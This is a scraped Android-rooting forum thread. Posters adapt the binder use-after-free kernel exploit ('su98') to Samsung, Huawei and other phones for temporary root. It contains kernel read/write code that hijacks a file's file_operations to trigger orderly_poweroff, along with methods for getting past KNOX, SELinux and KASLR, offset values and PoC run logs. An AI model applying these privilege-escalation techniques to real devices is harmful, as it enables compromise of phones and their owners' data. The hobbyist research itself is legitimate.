yashsingh1/xdaforums huggingface dataset:
[LG V20 Questions & Answers] Supersonic27543:
[MENTION=10174047]chompie1337[/MENTION] Now that I have bypassed KASLR, I looked into the methods used in that Knox bypass paper, and have a couple of questions. Seeing that you have utilized some of those, would really appreciate if you can share what you think.

First, after overwriting poweroff_cmd, how do you call orderly_poweroff? I'm not sure how to call a kernel function from user space.

And the paper says ss_initialized should be recovered ASAP because else the file system could be corrupted. Is this a real concern? (As in could it corrupt important partitions like system, boot/ramdisk, etc. or just sdcard, or nothing?)

Thank you!
[LG V20 Questions & Answers] chompie1337:
overwriting ss_initialized doesn't work to bypass SELinux on my device, it may work for yours. I bypassed it other ways, but I would try the ss_initialized method first because it's easier. to answer your question, i don't think it's a real concern wrt to permanent damage to the file system. it might crash the device, that's why you're supposed to load a new sepolicy right away.

what I did to call orderly_poweroff is to overwrite the file_operations pointer for a random file I create. I overwrite the check_flags pointer to point to orderly_power using kernel write. then I call fcntl with the F_SETFL flag which will call orderly_poweroff in the kernel. this queues up a kernel thread to execute whatever executable is in the poweroff_cmd string. this is when SELinux should block you, but let me know when you get this far.

---------- Post added at 09:15 PM ---------- Previous post was at 09:05 PM ----------

i'm on bl4. i actually do think this could work because writing a program to /system would execute in the kernel context and could load a new sepolicy making the magisk context (essentially) permissive.

i'll look into it if i can try with the active. i have a normal s8 but it's on pie.
[LG V20 Questions & Answers] f41lbl0g:
As long as your s8 (regular) is not on the latest bootloader (v6), it is possible to downgrade your phone to oreo on the s8 with safestrap. I believe [MENTION=4770483]afaneh92[/MENTION] does have safestrap oreo on his s8 active so pm him. If you need someone to test your exploit on the s8+ on oreo with safestrap you can pm me as well.
[LG V20 Questions & Answers] ethylamine:
Hey guys, great work going on here. I've done a bit of research on this topic and found this forum to be the most active regarding development of a temproot. I was wondering if this CVE can lead to at least temproot on my samsung galaxy S6 edge+ (SM-G928A).

As far as I know, this particular model has never had anything done to it thanks to AT&T. I'm running a very old version of the android kernel (3.10.61-12579816). From what I found, this model on this kernel version should be susceptible to the exploit. This repo is the closest thing to source I can find as well https://github.com/jcadduono/android_kernel_samsung_universal7420

I've extracted the kernel from the firmware image and found the offsets for BINDER_THREAD_SIZE and WAITQUEUE_OFFSET. I know knox must be bypassed as well.

Is it feasible to get a temproot going despite the project 0 team not mentioning the S6 altogether? Also, could anyone link the latest version of su98? The repo is gone and if I'm going to start running the exploit on my phone I want a "clean slate" so to speak.

Thanks in advance.
[LG V20 Questions & Answers] TheInfiniteAndroid:
Strange, I thought I was in the LG V20 thread..
[LG V20 Questions & Answers] Supersonic27543:
[MENTION=10174047]chompie1337[/MENTION] Reading an uint from ss_initialized gave 136077328 and writing to this address gives an error (kallsyms says this is read only) Reading an ulong from ss_initialized gives something that looks like an address pointer which points to a 1 (uint) but this address is not writable either.

I looked at the source and ss_initialized (it works like it should BTW, goes to allow if it is 0) is defined with:

int *ss_initialized __ro_after_init;

So I guess it wouldn't work unless we can somehow safely disable CPU page write protection or trick the kernel into mapping this as writable.

Also as to the poweroff_cmd, if I understood it right the steps goes like this:

1) Overwrite poweroff_cmd string with our file address.

2) Create a file and get an address to the file struct with fdget.

3) Get file_operations struct address by reading the file struct address added to the correct offset.

4) Get the offset to check_flags pointer and overwrite with orderly_poweroff pointer.

5) Call fcntl with F_SETFL.

Does this look right? (I'm not sure how to get the offsets, I'm thinking about manually counting but not sure because there is some union{} before file_operations, so please tell if they could be looked up dynamically) Also is there any way to verify if it worked or not?

Thank you very much for helping! :)
[LG V20 Questions & Answers] Supersonic27543:
Also because this device doesn't have DFI (I think) maybe we can just use the init process's creds, if we can just bypass HKIP (it kills the process when it tries to use init creds) Masking SIGKILL should be enough to bypass this. :)
[LG V20 Questions & Answers] chompie1337:
yes, but you won't be able to use fdget. you'll have to look at your kernel for offsets. not too bad :). to confirm you have the right file_operations pointer, you can look at the addresses in there and check to see if they corresponds to the right functions (read/write/etc).

on my device i could not write directly to the memory of file_operations , but i could replace the file_operations pointer (if that makes sense). i used some memory near poweroff_cmd because it's writeable and mostly empty.

---------- Post added at 06:36 PM ---------- Previous post was at 06:35 PM ----------

i don't know what you mean by masking SIGKILL. you mean masking the constant that gets passed to the kill function?
[LG V20 Questions & Answers] Supersonic27543:
Okay, thanks, will try implementing that! Sorry for not elaborating, I meant the signal variables in the task_struct (not sure if masking them would work to stop SIGKILL though), but any method to disable SIGKILL should do. Or if we have a way to disable specific kernel functions, just disabling the force_sig function temporarily (or permanently until boot if this is impossible) should be enough. (Would just zeroing out some memory starting from the force_sig symbol be enough? EDIT: This memory is not writeable)

Thank you!
[LG V20 Questions & Answers] Supersonic27543:
[MENTION=10174047]chompie1337[/MENTION] I managed to bypass Huawei protections and can get a root shell now! (still limited by SELinux and the context is still shell) I'm trying to get the orderly_poweroff thing working now. BTW if I can't use fdget how can I get a pointer to the file struct? Are there some other function I can use to get this? Would this work (but AFAIK "FILE" is different from "struct file")

FILE *file_struct=fopen("somefile","r");

Thank you!
[LG V20 Questions & Answers] antintin:
Sorry, coming in a bit late here, but did someone reopen a GitHub page?
[LG V20 Questions & Answers] Supersonic27543:
Not sure, have not seen one though.
[LG V20 Questions & Answers] chompie1337:
i think task_struct contains a table containing all the open files for the process. i did something like this:

unsigned long files_struct_ptr= *((unsigned long*)(task_struct_data + 0x768));
unsigned long fd_table_ptr = kernel_read_ulong(files_struct_ptr+0x20);
unsigned long fd_array_ptr = kernel_read_ulong(fd_table_ptr+0x8);
int temp_fd = open("/data/local/tmp/lol", O_RDONLY|O_CREAT);
unsigned long file_ptr = kernel_read_ulong(fd_array_ptr + 0x8*temp_fd);

then:

kernel_write_ulong(file_ptr + 0x28, poweroff_cmd_ptr); // overwriting file_ops pointer of the file to be the address of "/sbin/poweroff"
kernel_write_ulong(power_off_cmd_potr + 0xb0, orderly_poweroff_ptr); // overwrite the check_flags pointer to be orderly_poweroff
message("setting flags");
int lol = fcntl(temp_fd, F_SETFL, 0); // calling orderly_poweroff
message("setfl returns %0x", lol);

you'll need to find your offsets for files_struct in task_struct, file_ops in struct file, etc. you get the idea. i did it by looking at the kernel image in a disassembler but you can do it by recompiling the kernel (as someone here suggested) or looking at the source and counting. i can only count on my fingers so i just prefer to look at the disassembler :laugh:

---------- Post added at 07:01 PM ---------- Previous post was at 06:56 PM ----------

as an update, i was able to use a trick to bypass KNOX and remount rootfs as r/w. i have execution as root in the init context. final step is to find a way to load a new sepolicy. however there is no such thing as a permissive context anymore so you need to know what permissions you want before hand to give yourself all them. it's getting there. more soon x
[LG V20 Questions & Answers] f41lbl0g:
Wow this sounds amazing, keep us posted on your progress! Seems you are almost there!
[LG V20 Questions & Answers] DrZener:
Hi [MENTION=10174047]chompie1337[/MENTION],

I'm back after a few tests I did on my armv7 3.18. It seems that memory corruption doesn't happen on overlapped iovec because ep_unregister_pollwait() returns immediatly since list_empty(lsthead) returns true.

Any idea?
[LG V20 Questions & Answers] chompie1337:
check binder_poll in binder.c. when you call epoll_ctl with EPOLL_CTL_ADD, it will call into the binder_poll function. you want to make sure that

poll_wait(filp, &thread->wait, wait);

is being executed. that will ensure the list head is not empty. on some kernels, there are some checks that will make the binder_poll function return before this is done. once you discover what these conditions are, you can see if you can manipulate these conditions. if you look back in this thread, i discovered this was the case for Samsung devices. this was fixed by making sure that BINDER_EXIT_THREAD was not the first ioctl call to binder from the thread.
[LG V20 Questions & Answers] sun16:
hey guys! Thanks a lot for a great topic, I really like it.

If you don't mind let me ask a few quick/newbie/offtop questions.

As far as I can see, there are only PoC/exploits for 3.18 and 4.4 for aarch64 published, but I have the device for testing with 3.10 aarch64 and I want to reproduce this exploit on it. I tried to run both PoCs on it without luck. Exploit for 4.4 (which was published by google) hungs just like at the first message of this topic, and the poc98.c for 3.18 kernel said that it fails to leak data. I'm concerned about next things:

1. Is the device is vulnerable? It's S6, btw.

2. I've read that the PoC may fail due to BINDER_THREAD_SZ and IOVEC_INDX_FOR_WQ, how I can verify this values for 3.10? I've found the sources (on elixir.bootlin.com url is banned) of binder_thread for particular kernel, but I'm not sure about child's structures size.

Thanks in advance ;)
[LG V20 Questions & Answers] ethylamine:
I'm basically in the same boat as you. Though mine is an S6 edge+ on the same kernel version. The PoC from project 0 won't work because offsets are different and samsung devices require further mitigations (such as bypassing KNOX like chompie mentioned earlier). su98 was created to target LG devices so again, further work is required. Assuming your kernel is basically the same as mine, I can tell you that BINDER_THREAD_SZ is 0x128 and IOVEC_INDX_FOR_WQ is calculated based on WAITQUEUE_OFFSET for su98 PoC (which is 0x48 for my phone/kernel anyway).

Hope this helps at least a little. Also, don't think we even have to worry about kernel ASLR on such an old version so the primary concern is KNOX I would think.

Oh and forgot to mention, in binder.c for the 3.10 kernel on bootlin, someone else mentioned a quick way to ensure if the device is vulnerable or not is to check if there is a call to thread_free or something similar (there isn't last time I checked)
[LG V20 Questions & Answers] DrZener:
Thank you, solved!

But overwrite still doesn't happen :(

I checked and the iovec overlaps the freed thread, but something isn't working:

If I'm not wrong in ep_remove_wait_queue() variable whead should be a pointer to our dead thread's wait field (and by reading at memory it points to I can see the 0x10001 splinlock), but the whead ptr value is anywhere but near the old thread/iovec memory area. In fact, I can still read the spinlock value when the area should have been overlapped by the iovec array

E.g.

freed thhread/iovec: 0xd32ee900

wqueue val: 0xd3a38268

P.S.: By using BINDER_SET_MAX_THREADS trick binder_poll() falls into poll_wait(filp, &proc->wait, wait); case (not &thread->wait)

So I assume unlinking is happening a a wq related to proc and not to thread, that's why address is different

This is my binder_poll
[LG V20 Questions & Answers] chompie1337:
ah, i think your assumption is correct. in your kernel, wait_for_proc_work should evaluate to false in order to call poll_wait for the thread's wait queue. i think for everything to work, you want thread->transaction_stack != NULL

that seems tricky, but maybe possible. if you're willing to look at how to do a binder call natively, you could maybe get somewhere with it.
[LG V20 Questions & Answers] sun16:
Thanks for the values! I've tried like this

#define BINDER_THREAD_SZ 0x128
#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16)
#define WAITQUEUE_OFFSET 0x48
#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16)

The modified PoC gives the same visual result:

shell@zerofltespr:/data/local/tmp $ ./poc
Starting POC
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x1000

Could you please verify this? I guess with proper offsets the impact of the PoC should be visible, either some logs changed or crash would be super cool.
[LG V20 Questions & Answers] DrZener:
S6's binder_poll function is like mine (from 3.x upstream), so probably UaF isn't happening.
[LG V20 Questions & Answers] sun16:
So, in other words, S6 isn't affected, right?
[LG V20 Questions & Answers] DrZener:
As said a few posts earlier probably is, but extra steps are needed
[LG V20 Questions & Answers] ethylamine:
Hey I also forgot to mention that I changed the KERNEL_BASE define in my version of su98 since I am assuming kernel ASLR is not a thing on this old kernel.

I changed mine to 0xFFFFFFC000205000 based on what IDA showed me when reversing the extracted kernel.

This is the output of a quick test of the PoC on my S6 edge+

MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: **fail** problematic address pointer, e.g., 0
MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
MAIN: **fail** retrying
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: **fail** problematic address pointer, e.g., 0
MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
MAIN: **fail** retrying
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: **fail** problematic address pointer, e.g., 0
MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
MAIN: **fail** retrying
Failed to leak data: error

Some offsets might still need to be changed, but at least it went past the same writev returns 0x1000 error I was getting before just like you
[LG V20 Questions & Answers] DrZener:
Binder driver is the same for S6 and S6 E+
[LG V20 Questions & Answers] globula_neagra:
Guys, I got the below using the Huawei poc made by [MENTION=7860599]Supersonic27543[/MENTION]

Does this mean that the exploit is doable if the right queues are found?

ls

127|flashlmdd:/data/local/tmp $ chmod 755 *
chmod 755 *
flashlmdd:/data/local/tmp $ ./su98
./su98
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: **fail** problematic address pointer, e.g., 0
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: **fail** problematic address pointer, e.g., 0
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
CHILD: **fail** problematic address pointer, e.g., 0
MAIN: **fail** retrying
Failed to leak data: error
[LG V20 Questions & Answers] Supersonic27543:
[MENTION=10174047]chompie1337[/MENTION] Finally managed to call orderly_poweroff! (at least I think I did...) I have never used a disassembler before so I just compiled the kernel (literally took 28 hours with my laptop :eek:) and analyzed the object files to get the offsets. Now when I don't touch poweroff_cmd string the device reboots after the exploit exits, and if I replace the string to point to an executable that dumps the output of 'id' it still reboots (and doesn't actually dump the output) but I get this logcat warning,

11-23 19:23:19.765 3272 3272 W kworker/u16:9: type=1400 audit(0.0:57): avc: denied { search } for name="tmp" dev="mmcblk0p65" ino=5640 scontext=u:r:kernel:s0 tcontext=u:object_r:shell_data_file:s0 tclass=dir permissive=0

It looks like SELinux is blocking the process as you said. Can you please share the method you used to bypass SELinux? I'm excited because this looks like the only thing I have to do before I can get a full root shell! :laugh:

Thank you very much!

I'm not sure but I think this output means the device is vulnerable because writev seems to be working. :good: I could be wrong though. Good luck!
[LG V20 Questions & Answers] antintin:
I posted a very similar output for my g8 a while ago and you all said it wasn't vulnerable
[LG V20 Questions & Answers] Supersonic27543:
Then this device might not be too, I don't understand how the first part of this exploit works (it was DrZener who know a lot more than me about how the exploit works said that your device was not vulnerable) Was just guessing because writev looked like working as intended. :)
[LG V20 Questions & Answers] DrZener:
It's simple: download the source code of your kernel from vendor's website and look if binder.c has the patch.

If so, game over.
[LG V20 Questions & Answers] sun16:
Speaking about 3.10 kernel it's clearly not fixed https://www.diffchecker.com/RVOSbcHr
[LG V20 Questions & Answers] novitoll:
Could you please explain how I should calculate "WAITQUEUE_OFFSET"? What is the algorithm of doing it? I tried to calculate like this but it's not working.

struct binder_thread {
struct binder_proc *proc;	// 0x00
struct rb_node rb_node;	// +8 = 0x08
struct list_head waiting_thread_node;	// +18 = 0x20
int pid;	// +10 = 0x30
int looper;	// +4 = 0x34
bool looper_need_return;	// +4 = 0x38
struct binder_transaction *transaction_stack;	// +2 = 0x3A
struct list_head todo;	// +8 = 0x42
struct binder_error return_error;	// +10 = 0x52
struct binder_error reply_error;	// +18 = 0x6A
wait_queue_head_t wait;	// +18 = 0x82
struct binder_stats stats;	// +14 = 0x96
atomic_t tmp_ref;	// +10 = 0xA6
bool is_dead;	// +4 = 0xAA
};
[LG V20 Questions & Answers] Supersonic27543:
Sometimes the compiler adds some bytes in the middle which makes it impossible to count, and it seems to be your case. The options you have are: 1) Using a disassembler (see post #52) or 2) Download the kernel source, add CONFIG_DEBUG_INFO=y option and compile, and use pahole on the binder.o file created on compile. Also note that the binder thread size on the exploit should be 8 bytes less than the actual one, in your case 0xA2. Good luck!
[LG V20 Questions & Answers] DrZener:
If you can compile the kernel imho it's easier to throw a build error with an offsetof condition
[LG V20 Questions & Answers] Supersonic27543:
Interesting, didn't know about that! Thanks
[LG V20 Questions & Answers] novitoll:
[MENTION=7860599]Supersonic27543[/MENTION], Thanks, I followed your advices. According to pahole and I also did a `printk` logging of `offsetof` and `sizeof`:

#define BINDER_THREAD_SZ 0x190 // 0x198 - 8 (less than actual one)
#define WAITQUEUE_OFFSET 0xA0

Please note that I am using Android emulator with Qemu machine, x86_64, with 4.14-dev goldfish kernel, where I removed (commented out fix)

I tried to tweak WAITOFFSET queue (decrementing 0xA0) to -4, -8 bytes, and on 0x9C offset -- the VM hangs and crashes with panic and RAX, RSI registers have my 0xdeadbeef address.

I am following also video from DayzeroSec from twitch videos, but he eventually switched to Pixel 2 device as well.

I also tried on the actual device, Samsung A520F with 3.18.14-13712092-QB20404437 version -- also vulnerable, phone reboots, but nothing happens.

struct binder_thread {
.....
wait_queue_head_t wait; /* 160 24 */
....
/* size: 408, cachelines: 7, members: 16 */
....
} __attribute__((__aligned__(8)));

I just need to leak the kernel addr in my iovec structures. I understood the method of UAF in this exploitation (fork, a parent process sends ioctl to trigger a binder UAF on binder_thread object where we have "wait_queue_head_t" field which is still pointed in epoll struct data, parent writev iovec structures to child via pipefd, and blocks, meanwhile, child reads iovec from pipe to "page_buffer" and closes epoll FD to trigger the cleanup routines which will write itself pointers to zeroed-out iovec buffers, then child process exits, then parents sends another readv syscall to read "page_buffer" where we should've had a leaked 0x2000 buffer with kernel address which we can use further.)

Please point to if I should give up with VM and if it's actual issue, because I can't find the clue what's wrong.

Starting POC
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: Finished write to FIFO.
writev() returns 0x1000
[LG V20 Questions & Answers] Supersonic27543:
I think I saw somewhere that this exploit version is not compatible with devices with waitqueue offset ending in 0? :( Maybe you'll have some luck with the original exploit. There was some people who had the same issue some time before (crash despite correct offsets) I don't know exactly why this fails but maybe someone who can understand why this happens can help. Good luck!